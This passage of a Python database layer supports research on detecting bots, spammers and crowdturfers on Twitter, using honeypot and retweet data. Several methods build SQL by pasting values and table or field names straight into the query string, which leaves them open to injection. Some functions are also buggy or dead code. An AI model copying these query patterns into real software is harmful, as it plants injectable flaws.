:min_number_of_cocited_posts \"\n\n print('starting get_cocitations query execution')\n result = self.session.execute(query, params=dict(min_number_of_cocited_posts=min_number_of_cocited_posts))\n print('passed get_cocitations query execution')\n\n cursor = result.cursor\n print('starting get_cocitations cursor fetchall')\n rows = self.result_iter(cursor)\n print('passed get_cocitations cursor fetchall')\n return rows\n\n ###########################################################\n ####### Citations View\n ###########################################################\n def get_citations(self, domain):\n query = \" SELECT p_from.author_guid AS from_author_guid, p_to.author_guid AS to_author_guid, count(*) AS num_citations \\\n FROM post_citations AS p_cit \\\n INNER JOIN posts AS p_from ON (p_cit.post_id_from = p_from.post_id) \\\n INNER JOIN posts AS p_to ON (p_cit.post_id_to = p_to.post_id) \\\n WHERE p_from.domain = :domain \\\n AND p_to.domain = :domain \\\n GROUP BY from_author_guid, to_author_guid \"\n\n print('starting get_citations query execution')\n result = self.session.execute(query, params=dict(domain=domain))\n print('passed get_citations query execution')\n\n cursor = result.cursor\n print('starting get_citations cursor fetchall')\n rows = list(cursor.fetchall())\n print('passed get_citations cursor fetchall')\n return rows\n\n def get_random_author_guid_post_id_dictionary(self):\n query = \"\"\"\n SELECT posts.author_guid, posts.post_id\n FROM posts\n INNER JOIN random_authors_for_graphs on random_authors_for_graphs.author_guid = posts.author_guid\n \"\"\"\n return self._create_dictionary_by_query(query)\n\n def _create_dictionary_by_query(self, query):\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n records = self.result_iter(cursor)\n records = list(records)\n return {record[0]: record[1] for record in records}\n\n def get_post_id_random_author_guid_dictionary(self):\n\n query = \"\"\"\n SELECT posts.post_id, posts.author_guid\n FROM posts\n INNER JOIN random_authors_for_graphs on random_authors_for_graphs.author_guid = posts.author_guid\n \"\"\"\n return self._create_dictionary_by_query(query)\n\n ###########################################################\n # post representativeness\n ###########################################################\n def load_posts_representativeness_table(self):\n ufitf_data = self.get_ufitf_data()\n self.session.add_all(ufitf_data)\n self.session.commit()\n\n def create_posts_representativeness_entry(self, ufitf_value):\n return Posts_representativeness(\n post_id=format(list(ufitf_value.values())[0]),\n topic_id=int(list(ufitf_value.values())[1]),\n url=format(list(ufitf_value.values())[2]),\n how_many_times_cited_in_topic=int(list(ufitf_value.values())[3]),\n in_how_many_topics=int(list(ufitf_value.values())[4]),\n post_count=int(list(ufitf_value.values())[5]),\n tfidf=float(list(ufitf_value.values())[6]),\n tof=int(list(ufitf_value.values())[7]),\n )\n\n def get_ufitf_data(self):\n q = text(\n \"select post_id, topic_id, url_to, how_many_times_cited_in_topic, in_how_many_topics, post_count, ufitf1, tof from tfidf\")\n res = self.session.execute(q)\n return [self.create_posts_representativeness_entry(r) for r in res]\n\n def get_already_crawled_author_ids(self):\n query = \"SELECT DISTINCT authors.author_osn_id \" \\\n \"FROM authors \" \\\n \"WHERE authors.author_osn_id IS NOT NULL \" \\\n \"AND authors.missing_data_complementor_insertion_date IS NOT NULL\"\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n ids = list(cursor.fetchall())\n already_crawled_author_ids = [r[0] for r in ids]\n return already_crawled_author_ids\n\n def get_bad_actor_retweeters_not_retrieved_from_vico(self):\n logging.info(\"get_bad_actor_retweeters_not_retrieved_from_vico\")\n\n query = \"SELECT authors.author_osn_id \" \\\n \"FROM authors \" \\\n \"INNER JOIN post_retweeter_connections on (authors.author_osn_id = post_retweeter_connections.retweeter_twitter_id) \" \\\n \"WHERE authors.xml_importer_insertion_date IS NULL \" \\\n \"AND authors.protected = 0 \" \\\n \"AND authors.author_type = 'bad_actor'\"\n\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n ids = list(cursor.fetchall())\n twitter_authors_ids = [r[0] for r in ids]\n logging.info(\"Number of bad actor retweeters not retrieved from vico is: \" + str(len(twitter_authors_ids)))\n return twitter_authors_ids\n\n def get_bad_actors_retweets_retrieved_by_vico(self):\n logging.info(\"get_bad_actors_retweets_retrieved_by_vico\")\n\n results = self.session.query(Post).filter(or_(Post.content.like(\"%RT @annakiril3%\"),\n Post.content.like(\"%RT @LeviAvavilevi%\"),\n Post.content.like(\"%RT @benny_metanya%\"),\n Post.content.like(\"%RT @meggiewill5%\"),\n Post.content.like(\"%RT @amira_buzavgo%\"),\n Post.content.like(\"%RT @TAringthon%\"))).all()\n\n return results\n\n def get_bad_actor_tweets_from_vico(self):\n logging.info(\"get_bad_actor_tweets_from_vico\")\n '''\n SELECT *\n FROM posts\n WHERE (posts.content LIKE '%Youtube apps joins free Online TV channel in United kingdom%'\n OR posts.content LIKE '%Watch Internet TV, and Online TV for free!!%'\n OR posts.content LIKE '%Smart TV - all what we need to know!%'\n OR posts.content LIKE '%How to Stream Web Videos & Live TV to a Samsung Smart TV%'\n OR posts.content LIKE '%Free Internet TV - A Complete Guide For Canadians%'\n OR posts.content LIKE '%Smart TV vs. Media Streamer%' )\n AND posts.content NOT LIKE '%RT @%'\n '''\n\n results = self.session.query(Post).filter(\n or_(Post.content.like('%Youtube apps joins free Online TV channel in United kingdom%'),\n Post.content.like('%Watch Internet TV, and Online TV for free!!%'),\n Post.content.like('%Smart TV - all what we need to know!%'),\n Post.content.like('%How to Stream Web Videos & Live TV to a Samsung Smart TV%'),\n Post.content.like('%Free Internet TV - A Complete Guide For Canadians%'),\n Post.content.like('%Smart TV vs. Media Streamer%')),\n and_(not_(Post.content.like('%RT @%')))).all()\n\n return results\n\n def get_missing_authors_guid_not_marked_as_bad_actors(self, targeted_twitter_author_screen_names):\n #\n # This function retrieved all the authors who retweeted our posts and they are not marked as bad actors\n #\n\n logging.info(\"get_bad_actor_retweeters_not_retrieved_from_vico\")\n\n query = \"SELECT authors.author_guid \" \\\n \"FROM authors \" \\\n \"INNER JOIN posts ON (authors.author_guid = posts.author_guid) \" \\\n \"WHERE (posts.content LIKE '%RT @annakiril3%' \" \\\n \"OR posts.content LIKE '%RT @LeviAvavilevi%' \" \\\n \"OR posts.content LIKE '%RT @benny_metanya%' \" \\\n \"OR posts.content LIKE '%RT @meggiewill5%' \" \\\n \"OR posts.content LIKE '%RT @amira_buzavgo%' \" \\\n \"OR posts.content LIKE '%RT @TAringthon%') \" \\\n \"AND authors.author_type IS NOT 'bad_actor'\"\n\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n twitter_author_guids = list(cursor.fetchall())\n author_guids = [r[0] for r in twitter_author_guids]\n logging.info(\"Number of missing bad actors that were not marked is: \" + str(len(author_guids)))\n return author_guids\n\n def delete_acquired_authors(self):\n logging.info(\"delete_acquired_authors\")\n query = 'DELETE ' \\\n 'FROM authors ' \\\n 'WHERE authors.author_type = \"bad_actor\" ' \\\n 'AND (authors.author_sub_type = \"crowdturfer\" ' \\\n 'OR authors.author_sub_type IS NULL ' \\\n 'OR authors.author_sub_type = \"acquired\")'\n query = text(query)\n self.session.execute(query)\n self.session.commit()\n\n def delete_manually_labeled_authors(self):\n logging.info(\"delete_manually_labeled_authors\")\n query = 'DELETE ' \\\n 'FROM authors ' \\\n 'WHERE (authors.author_type = \"bad_actor\" OR authors.author_type = \"good_actor\")'\n query = text(query)\n self.session.execute(query)\n self.session.commit()\n\n def delete_posts_with_missing_authors(self):\n logging.info(\"detele_posts_with_missing_authors\")\n query = ' DELETE ' \\\n ' FROM posts' \\\n ' WHERE (posts.author_guid NOT IN( ' \\\n ' SELECT authors.author_guid' \\\n ' FROM authors) ' \\\n ' OR posts.author_guid IS NULL) '\n query = text(query)\n self.session.execute(query)\n self.session.commit()\n\n def get_posts_of_missing_authors(self):\n\n results = self.session.query(Post).filter(Post.author_guid == None).all()\n return results\n\n def get_missing_authors_tuples(self):\n query = ' SELECT DISTINCT(posts.author_guid), posts.author' \\\n ' FROM posts' \\\n ' WHERE (posts.author_guid NOT IN( ' \\\n ' SELECT authors.author_guid' \\\n ' FROM authors) ' \\\n ' OR posts.author_guid IS NULL) '\n\n result = self.session.execute(query)\n cursor = result.cursor\n tuples = self.result_iter(cursor)\n return tuples\n\n def get_author_screen_name_last_post_id(self):\n query = '''\n SELECT a.author_screen_name, p.post_osn_id, MIN(p.date) \n FROM authors a, posts p\n WHERE a.author_guid = p.author_guid\n GROUP BY a.author_guid\n '''\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n author_screen_names_post_ids = list(cursor.fetchall())\n # return cursor\n return self._get_author_screen_name_tweet_id_dict(author_screen_names_post_ids)\n\n def get_author_screen_name_first_post_id(self):\n query = '''\n SELECT a.author_screen_name, p.post_osn_id, MAX(p.date) \n FROM authors a, posts p\n WHERE a.author_guid = p.author_guid\n GROUP BY a.author_guid\n '''\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n author_screen_names_post_ids = list(cursor.fetchall())\n # return cursor\n return self._get_author_screen_name_tweet_id_dict(author_screen_names_post_ids)\n\n def _get_author_screen_name_tweet_id_dict(self, author_screen_names_post_ids):\n author_screen_name_tweet_id = {}\n for author_screen_name, post_osn_id, date in author_screen_names_post_ids:\n author_screen_name_tweet_id[author_screen_name] = post_osn_id\n return author_screen_name_tweet_id\n\n def get_author_screen_names_and_number_of_posts(self, num_of_minimal_posts):\n\n logging.info(\"get_author_screen_names_for_timelines\")\n\n query = \"SELECT authors.author_screen_name, COUNT(authors.author_guid) \" \\\n \"FROM authors \" \\\n \"INNER JOIN posts ON(authors.author_guid = posts.author_guid) \" \\\n \"WHERE authors.domain = 'Microblog' \" \\\n \"AND authors.author_osn_id IS NOT NULL \" \\\n \"AND authors.protected = 0 \" \\\n \"AND authors.timeline_overlap_insertion_date IS NULL \" \\\n \"GROUP BY authors.author_guid \" \\\n \"HAVING COUNT(authors.author_guid) < :num_of_minimal_posts\"\n\n query = text(query)\n result = self.session.execute(query, params=dict(num_of_minimal_posts=num_of_minimal_posts))\n cursor = result.cursor\n # return cursor\n osn_author_screen_names_and_number_of_posts = list(cursor.fetchall())\n return osn_author_screen_names_and_number_of_posts\n\n def assign_manually_labeled_authors(self):\n self.assign_private_profiles()\n self.assign_company_profiles()\n self.assign_bot_profiles()\n self.assign_news_feed_profiles()\n self.assign_spammer_profiles()\n\n def assign_private_profiles(self):\n logging.info(\"assign_private_profiles\")\n sql_script = open('DB/scripts/assign_private_profiles.txt', 'r')\n query = sql_script.read()\n query = text(query)\n self.session.execute(query)\n self.session.commit()\n\n def assign_company_profiles(self):\n logging.info(\"assign_company_profiles\")\n sql_script = open('DB/scripts/assign_company_profiles.txt', 'r')\n query = sql_script.read()\n query = text(query)\n self.session.execute(query)\n self.session.commit()\n\n def assign_news_feed_profiles(self):\n logging.info(\"assign_news_feed_profiles\")\n sql_script = open('DB/scripts/assign_news_feed_profiles.txt', 'r')\n query = sql_script.read()\n query = text(query)\n self.session.execute(query)\n self.session.commit()\n\n def assign_spammer_profiles(self):\n logging.info(\"assign_spammer_profiles\")\n sql_script = open('DB/scripts/assign_spammer_profiles.txt', 'r')\n query = sql_script.read()\n query = text(query)\n self.session.execute(query)\n self.session.commit()\n\n def assign_bot_profiles(self):\n logging.info(\"assign_bot_profiles\")\n sql_script = open('DB/scripts/assign_bot_profiles.txt', 'r')\n query = sql_script.read()\n query = text(query)\n self.session.execute(query)\n self.session.commit()\n\n def assign_crowdturfer_profiles(self):\n logging.info(\"assign_crowdturfer_profiles\")\n sql_script = open('DB/scripts/assign_crowdturfer_profiles.txt', 'r')\n query = sql_script.read()\n query = text(query)\n self.session.execute(query)\n self.session.commit()\n\n def assign_acquired_profiles(self):\n logging.info(\"assign_acquired_profiles\")\n sql_script = open('DB/scripts/assign_acquired_profiles.txt', 'r')\n query = sql_script.read()\n query = text(query)\n self.session.execute(query)\n self.session.commit()\n\n def get_all_acquired_crowdturfer_authors(self):\n logging.info(\"get_all_acquired_crowdturfer_authors\")\n query = 'SELECT * ' \\\n 'FROM authors ' \\\n 'WHERE (authors.author_type = \"bad_actor\" ' \\\n 'AND (authors.author_sub_type = \"acquired\" OR authors.author_sub_type = \"crowdturfer\" OR authors.author_sub_type IS NULL));'\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n data = list(cursor.fetchall())\n authors = [row[0] for row in data]\n return authors\n\n def get_all_manually_labeled_bad_actors(self):\n logging.info(\"get_all_manually_labeled_bad_actors\")\n query = 'SELECT * ' \\\n 'FROM authors ' \\\n 'WHERE (authors.author_type = \"bad_actor\" ' \\\n 'AND authors.author_sub_type IS NOT NULL);'\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n data = list(cursor.fetchall())\n authors = [row[0] for row in data]\n return authors\n\n def get_all_unlabeled_authors(self):\n logging.info(\"get_all_unlabeled_authors\")\n query = \"SELECT * \" \\\n \"FROM authors \" \\\n \"WHERE authors.author_type IS NULL \" \\\n \"AND authors.domain = 'Microblog'\"\n\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n data = list(cursor.fetchall())\n authors = [row[0] for row in data]\n return authors\n\n def update_bad_actor_from_timeline_overlaping(self, potential_bad_actors):\n logging.info(\"update_bad_actor_from_timeline_overlaping\")\n query = 'UPDATE authors ' \\\n 'SET author_type = \"bad_actor\", author_sub_type = \"acquired\", timeline_overlap_insertion_date = :insertion_date ' \\\n 'WHERE authors.name IN ' + \"('\" + \"','\".join(map(str, potential_bad_actors)) + \"')\"\n query = text(query)\n date = str(get_current_time_as_string())\n self.session.execute(query, params=dict(insertion_date=date))\n self.session.commit()\n\n def update_authors_type_by_author_names(self, authors_name, author_type):\n logging.info(\"update_authors_type_by_author_names\")\n query = 'UPDATE authors ' \\\n 'SET author_type = :author_type ' \\\n 'WHERE authors.name IN ' + \"('\" + \"','\".join(map(str, authors_name)) + \"')\"\n query = text(query)\n self.session.execute(query, params=dict(author_type=author_type))\n self.session.commit()\n\n def create_authors_index(self):\n logging.info(\"create_authors_index\")\n query = \"CREATE INDEX IF NOT EXISTS idx_authors \" \\\n \"ON authors (domain, author_osn_id)\"\n\n query = text(query)\n self.session.execute(query)\n self.session.commit()\n\n def create_posts_index(self):\n logging.info(\"create_authors_index\")\n query = \"CREATE INDEX IF NOT EXISTS idx_posts \" \\\n \"ON posts (author_guid)\"\n\n query = text(query)\n self.session.execute(query)\n self.session.commit()\n\n def get_words_with_highest_probability(self):\n query = \"select * \" \\\n \"from topic_terms_view \" \\\n \"order by topic_id asc,probability desc ;\"\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n data = list(cursor.fetchall())\n result = {}\n current_topic = str(data[0][0])\n get_from_topic = 0\n for row in data:\n\n if str(row[0]) != current_topic:\n get_from_topic = 0\n current_topic = str(row[0])\n\n if current_topic not in result:\n result[current_topic] = []\n\n if str(row[0]) == current_topic and get_from_topic <= 10:\n get_from_topic += 1\n result[current_topic].append((row[1], row[2]))\n\n return result\n\n def get_author_timelines_by_min_num_of_posts(self, domain, min_num_of_posts):\n query = \"\"\"\n select\n a.author_guid,\n p.content,\n a.author_type\n from authors as a\n inner join posts as p on (a.author_guid = p.author_guid)\n where a.domain= :domain\n and a.author_guid in ( select\n posts.author_guid\n from posts\n where domain = :domain\n group by posts.author_guid\n having count(posts.author_guid) >= :min_num_of_posts)\n \"\"\"\n query = text(query)\n\n result = self.session.execute(query, params=dict(domain=domain, min_num_of_posts=min_num_of_posts))\n cursor = result.cursor\n tuples = self.result_iter(cursor)\n return tuples\n\n def get_author_connections_by_connection_type(self, connection_type):\n query = \"\"\"\n SELECT author_connections.source_author_guid, author_connections.destination_author_guid, author_connections.weight\n FROM author_connections\n WHERE author_connections.connection_type = :connection_type\n \"\"\"\n query = text(query)\n\n result = self.session.execute(query, params=dict(connection_type=connection_type))\n cursor = result.cursor\n generator = self.result_iter(cursor)\n return generator\n\n def get_labeled_authors_by_domain(self, domain, targeted_class_field_name):\n query = \"\"\"\n SELECT authors.author_guid, authors.{}\n FROM authors\n WHERE authors.domain = domain\n AND authors.author_type IS NOT NULL\n \"\"\".format(targeted_class_field_name)\n query = text(query)\n\n result = self.session.execute(query, params=dict(domain=domain))\n cursor = result.cursor\n generator = self.result_iter(cursor)\n return generator\n\n def get_labeled_author_connections_by_connection_type(self, connection_type):\n query = \"\"\"\n SELECT author_connections.source_author_guid, author_connections.destination_author_guid, author_connections.weight\n FROM author_connections\n INNER JOIN authors as a1 ON (a1.author_guid = author_connections.source_author_guid)\n INNER JOIN authors as a2 ON (a2.author_guid = author_connections.destination_author_guid )\n WHERE author_connections.connection_type = :connection_type\n AND a1.author_type IS NOT NULL\n AND a2.author_type IS NOT NULL\n \"\"\"\n query = text(query)\n\n result = self.session.execute(query, params=dict(connection_type=connection_type))\n cursor = result.cursor\n generator = self.result_iter(cursor)\n return generator\n\n return cursor\n\n def get_labeled_bad_actors_timelines_temp(self):\n query = \"\"\" select\n a.name,\n p.content,\n a.author_sub_type\n from\n authors as a\n inner join\n posts as p on (a.author_guid = p.author_guid)\n where\n a.domain= 'Microblog'\n and (a.author_type = 'bad_actor' or a.author_type = 'good_actor')\n and a.author_sub_type in ('bot','spammer','crowdturfer','acquired','news_feed','private','company' )\n and a.author_guid in ( select\n posts.author_guid\n from posts\n where domain = 'Microblog'\n group by posts.author_guid\n having count(posts.author_guid) >= 100)\n \"\"\"\n query = text(query)\n\n result = self.session.execute(query)\n cursor = result.cursor\n\n return cursor\n\n def get_authors_and_tweets_ids_from_temporal_table(self):\n '''\n :return: a list of Twitter statuses id\n '''\n\n q = \" select post_id, author_id from ( \"\n for i in range(3, 203):\n q += \"select field\" + str(i) + \" as post_id, twitter_id as author_id from honeypot where field\" + str(\n i) + \" is not null \\n \"\n if i < 202:\n q += \" union \"\n q += \") \\n \"\n q += \" where post_id not in (select post_osn_id from posts) \" \\\n \" and post_id not in (select tweet_id from deleted_tweets) \" \\\n \" and author_id not in (select author_osn_id from authors where protected = 1 or is_suspended_or_not_exists = 1)\"\n query = text(q)\n result = self.session.execute(query)\n cursor = result.cursor\n records = list(cursor.fetchall())\n result = []\n for rec in records:\n result.append((rec[0], rec[1]))\n\n return result\n\n def save_author_features(self, authors_features):\n print('\\n Beginning merging author_features objects')\n counter = 0\n if authors_features:\n for author_features_row in authors_features:\n counter += 1\n self.update_author_features(author_features_row)\n if counter == 100:\n print(\"\\r \" + \"merging author-features objects\", end=\"\")\n self.commit()\n counter = 0\n if counter != 0:\n self.commit()\n print('Finished merging author_features objects')\n\n def create_topic_terms_view(self):\n print(\"create_topic_terms_view \")\n query = \"\"\"\n create view IF NOT EXISTS topic_terms_view as\n\t\t select topic_id, t2.description, probability\n from topics t1 inner join terms t2 on t1.term_id = t2.term_id\n \"\"\"\n query = text(query)\n self.session.execute(query)\n self.session.commit()\n\n def get_cooperated_authors(self, targeted_twitter_author_names, domain):\n query = \"\"\"\n SELECT DISTINCT authors.author_guid\n FROM authors\n INNER JOIN posts ON (authors.author_guid = posts.author_guid)\n WHERE authors.domain = :domain\n AND authors.author_type IS NOT 'bad_actor'\n AND ( \"\"\"\n\n targeted_twitter_authors_count = len(targeted_twitter_author_names)\n query += \"posts.content LIKE '%RT @\" + targeted_twitter_author_names[0] + \"%' \"\n\n for i in range(1, targeted_twitter_authors_count):\n query += \"OR posts.content LIKE '%RT @\" + targeted_twitter_author_names[i] + \"%' \"\n\n query += \")\"\n\n query = text(query)\n\n result = self.session.execute(query, params=dict(domain=domain))\n cursor = result.cursor\n\n return cursor\n\n def create_post_topic_mapping_post_id_index(self):\n logging.info(\"create_post_topic_mapping_post_id_index\")\n query = \"CREATE INDEX IF NOT EXISTS create_post_topic_mapping_post_id_index \" \\\n \"ON post_topic_mapping (post_id)\"\n\n def create_posts_post_id_index(self):\n logging.info(\"create_posts_post_id_index\")\n query = \"CREATE INDEX IF NOT EXISTS create_posts_post_id_index \" \\\n \"ON posts (posts)\"\n\n def get_unlabeled_predictions(self):\n query = \"\"\"\n SELECT unlabeled_predictions.AccountPropertiesFeatureGenerator_author_screen_name,\n unlabeled_predictions.predicted,\n unlabeled_predictions.prediction\n FROM unlabeled_predictions\n \"\"\"\n query = text(query)\n\n result = self.session.execute(query)\n cursor = result.cursor\n\n return cursor\n\n def drop_unlabeled_predictions(self, predictions_table_name):\n query = \"DROP TABLE IF EXISTS \" + predictions_table_name + \";\"\n query = text(query)\n self.session.execute(query)\n self.session.commit()\n\n ###########################################################\n ####### Get distance features\n ###########################################################\n\n def get_distance_features(self):\n query = \" SELECT author_guid \\\n FROM author_features \\\n WHERE attribute_name like '%min_dist_to%' \\\n or attribute_name like '%mean_dist_to%' \"\n\n result = self.session.execute(query)\n cursor = result.cursor\n rows = list(cursor.fetchall())\n return rows\n\n def insert_or_update_authors_from_posts(self, domain, author_classify_dict, author_prop_dict):\n authors_to_update = []\n posts = self.session.query(Post).filter(Post.domain == domain).all()\n author_dict = self.get_author_dictionary()\n logging.info(\"Insert or update_authors from app importer\")\n logging.info(\"total Posts: \" + str(len(posts)))\n i = 1\n for post in posts:\n msg = \"\\r Insert or update posts: [{}\".format(i) + \"/\" + str(len(posts)) + ']'\n print(msg, end=\"\")\n i += 1\n author_guid = post.author_guid\n if author_guid in author_dict:\n continue\n\n # domain = post.domain\n\n # if not self.is_author_exists(author_guid, domain):\n author = Author()\n author_name = post.author\n author.name = author_name\n author.author_screen_name = post.author\n author.domain = post.domain\n author.author_guid = author_guid\n\n if author_name in author_classify_dict:\n author.author_type = author_classify_dict[author_name]\n\n post_type = post.post_type\n if post_type is not None:\n targeted_classes = post_type.split('/')\n author_sub_type = targeted_classes[0]\n if author_sub_type is not None:\n author.author_sub_type = author_sub_type\n\n if author_guid in author_prop_dict:\n for key, value in author_prop_dict[author_guid].items():\n setattr(author, key, value)\n\n authors_to_update.append(author)\n author_dict[author_guid] = author\n\n if len(posts) != 0: print(\"\")\n # self.add_authors(authors_to_update)\n self.session.bulk_save_objects(authors_to_update)\n self.session.commit()\n\n def get_posts_filtered_by_domain(self, domain):\n entries = self.session.query(Post).filter(Post.domain == domain).all()\n return entries\n\n def get_instagram_posts_without_comments(self):\n connection_type = 'post_comment_connection'\n query = text(\"\"\"\n SELECT *\n FROM posts\n WHERE posts.post_type = 'post'\n AND posts.domain = 'Instagram'\n AND posts.retweet_count > 0\n AND posts.post_id NOT IN (SELECT source_author_guid\n FROM author_connections\n WHERE connection_type = :connection_type)\n \"\"\")\n\n result = self.session.execute(query, params=dict(connection_type=connection_type))\n posts_dicts = list(map(dict, result))\n posts = [Post(**post_dict) for post_dict in posts_dicts]\n return posts\n\n def get_author_guids(self):\n result = self.session.query(Author.author_guid).all()\n ids = [res[0] for res in result]\n return ids\n\n def delete_anchor_authors(self):\n query = \"\"\"\n DELETE\n FROM anchor_authors\n \"\"\"\n query = text(query)\n self.session.execute(query)\n self.commit()\n\n def insert_anchor_author(self, author_guid, author_type):\n anchor_author = AnchorAuthor(author_guid, author_type)\n self.session.merge(anchor_author)\n self.session.commit()\n\n def get_anchor_authors(self):\n query = \"\"\" SELECT author_guid, author_type\n FROM anchor_authors \"\"\"\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n return cursor\n\n def get_random_authors_for_graphs(self):\n query = \"\"\"\n SELECT author_guid, author_type\n FROM random_authors_for_graphs\n \"\"\"\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n random_authors_for_graphs = self.result_iter(cursor)\n return random_authors_for_graphs\n\n # def get_author_types(self, domain):\n # author_type = {}\n # query = \"SELECT author_guid, author_type FROM authors where author_guid is not null and domain={0}\".format(domain)\n # query = text(query)\n # result = self.session.execute(query)\n # authors = self.result_iter(result.cursor)\n # for author in authors:\n # author_type[author[0]]=author[1]\n # return author_type\n\n def create_author_dictionaries(self, index_field_for_predictions, domain):\n labeled_author_dict = {}\n unlabeled_author_dict = {}\n # author_guid - author_screen_name\n unlabeled_author_guid_index_field_dict = {}\n query = \"SELECT author_guid, {0}, author_type FROM authors where author_guid is not null and domain='{1}'\".format(\n index_field_for_predictions, domain)\n # query = \"\"\"\n # SELECT author_guid, author_type FROM authors where author_guid is not null and domain = '\" +domain + \"'\n # \"\"\"\n query = text(query)\n result = self.session.execute(query)\n authors = self.result_iter(result.cursor)\n for author in authors:\n author_guid = author[0]\n index_field_for_predictions = author[1]\n targeted_class = author[2]\n\n if targeted_class is not None:\n labeled_author_dict[author_guid] = targeted_class\n print(\"{0} - {1}\".format(author_guid, targeted_class))\n else:\n unlabeled_author_dict[author_guid] = targeted_class\n unlabeled_author_guid_index_field_dict[author_guid] = index_field_for_predictions\n return labeled_author_dict, unlabeled_author_dict, unlabeled_author_guid_index_field_dict\n\n def get_author_guid_by_targeted_field_name_and_targeted_class(self, targeted_field_name, targeted_class):\n query = \"SELECT authors.author_guid FROM authors WHERE authors\"\n query += \".\" + targeted_field_name + \" = \" + \"'\" + targeted_class + \"'\"\n\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n return cursor\n\n def create_author_feature(self, author_guid, attribute_name, attribute_value):\n author_feature = AuthorFeatures()\n\n author_feature.author_guid = author_guid\n author_feature.attribute_name = attribute_name\n author_feature.attribute_value = str(attribute_value)\n author_feature.window_start = self._window_start\n author_feature.window_end = self._window_end\n\n msg = '\\r adding ' + 'author_guid:' + author_guid + ' attribute_name: ' + attribute_name + ' attribute_value: ' + str(\n attribute_value)\n print(msg, end=\"\")\n\n return author_feature\n\n def delete_anchor_author_features(self):\n query = \"\"\"\n DELETE\n FROM author_features\n WHERE author_features.author_guid IN (\n\t SELECT anchor_authors.author_guid\n\t FROM anchor_authors\n )\n \"\"\"\n query = text(query)\n self.session.execute(query)\n self.commit()\n\n def create_temp_author_connections(self, source_author_id, destination_author_ids, author_connection_type,\n insertion_date):\n print(\"---create_temp_author_connections---\")\n author_connections = []\n for destination_author_id in destination_author_ids:\n author_connection = self.create_temp_author_connection(source_author_id, destination_author_id,\n author_connection_type, insertion_date)\n author_connections.append(author_connection)\n\n return author_connections\n\n def create_temp_author_connection(self, source_author_id, destination_author_id, connection_type, insertion_date):\n temp_author_connection = TempAuthorConnection()\n msg = '\\r \"Temp author connection: source -> ' + str(source_author_id) + ', dest -> ' + str(\n destination_author_id) + ', connection type = ' + connection_type\n print(msg, end=\"\")\n # print(\"Temp author connection: source -> \" + str(source_author_id) + \", dest -> \" + str(\n # destination_author_id) + \", connection type = \" + connection_type)\n temp_author_connection.source_author_osn_id = source_author_id\n temp_author_connection.destination_author_osn_id = destination_author_id\n temp_author_connection.connection_type = str(connection_type)\n temp_author_connection.insertion_date = insertion_date\n\n return temp_author_connection\n\n def get_temp_author_connections(self):\n query = \"\"\"\n SELECT temp_author_connections.source_author_osn_id, temp_author_connections.destination_author_osn_id,\n temp_author_connections.connection_type, temp_author_connections.insertion_date\n FROM temp_author_connections\n \"\"\"\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n return cursor\n\n def delete_temp_author_connections(self, temp_author_connections):\n total = len(temp_author_connections)\n current = 0\n for author_connection in temp_author_connections:\n current += 1\n msg = '\\r adding ' + str(current) + ' of ' + str(total) + ' author_connections'\n print(msg, end=\"\")\n self.delete_temp_author_connection(author_connection)\n self.session.commit()\n\n def delete_temp_author_connection(self, temp_author_connection):\n query = \"\"\"\n DELETE FROM temp_author_connections\n WHERE source_author_osn_id = :source_id\n AND destination_author_osn_id = :destination_id\n AND connection_type = :connection_type\n \"\"\"\n query = text(query)\n self.session.execute(query, params=dict(source_id=temp_author_connection.source_author_osn_id,\n destination_id=temp_author_connection.destination_author_osn_id,\n connection_type=temp_author_connection.connection_type))\n\n def create_post_retweeter_connections(self, post_id, retweeter_ids):\n post_retweeter_connections = []\n retweeter_connection_type = str(\"post_retweeter\")\n for retweeter_id in retweeter_ids:\n post_retweeter_connection = self.create_post_retweeter_connection(post_id, retweeter_id,\n retweeter_connection_type)\n post_retweeter_connections.append(post_retweeter_connection)\n\n return post_retweeter_connections\n\n def create_post_retweeter_connection(self, post_id, retweeter_id, connection_type):\n post_retweeter_connection = PostRetweeterConnection()\n\n post_retweeter_connection.post_osn_id = post_id\n post_retweeter_connection.retweeter_twitter_id = retweeter_id\n post_retweeter_connection.connection_type = str(connection_type)\n post_retweeter_connection.insertion_date = str(get_current_time_as_string())\n\n return post_retweeter_connection\n\n def convert_temp_author_connections_to_author_connections(self, domain):\n cursor = self.get_temp_author_connections()\n temp_author_connection_tuples = self.result_iter(cursor)\n\n author_osn_id_author_guid_dict = self.create_author_osn_id_author_guid_dictionary(domain)\n\n author_connections = []\n already_converted_temp_author_connections = []\n for temp_author_connection in temp_author_connection_tuples:\n source_author_osn_id = temp_author_connection[0]\n destination_author_osn_id = temp_author_connection[1]\n connection_type = temp_author_connection[2]\n insertion_date = temp_author_connection[3]\n\n if source_author_osn_id in author_osn_id_author_guid_dict and destination_author_osn_id in author_osn_id_author_guid_dict:\n source_author_guid = author_osn_id_author_guid_dict[source_author_osn_id]\n destination_author_guid = author_osn_id_author_guid_dict[destination_author_osn_id]\n\n author_connection = self.create_author_connection(source_author_guid, destination_author_guid, 0,\n connection_type, insertion_date)\n already_convert_temp_author_connection = self.create_temp_author_connection(source_author_osn_id,\n destination_author_osn_id,\n connection_type,\n insertion_date)\n\n author_connections.append(author_connection)\n already_converted_temp_author_connections.append(already_convert_temp_author_connection)\n self.save_author_connections(author_connections)\n self.delete_temp_author_connections(already_converted_temp_author_connections)\n\n def create_author_osn_id_author_guid_dictionary(self, domain):\n author_osn_id_author_guid_dict = {}\n authors = self.get_authors_by_domain(domain)\n for author in authors:\n author_osn_id = author.author_osn_id\n author_guid = author.author_guid\n author_osn_id_author_guid_dict[author_osn_id] = author_guid\n return author_osn_id_author_guid_dict\n\n def get_topic_with_maximal_posts(self):\n query = \"\"\"\n SELECT res.topic_id, MAX(res.post_count)\n FROM (\n SELECT topic_stats.topic_id, topic_stats.post_count\n FROM topic_stats\n GROUP BY 1\n 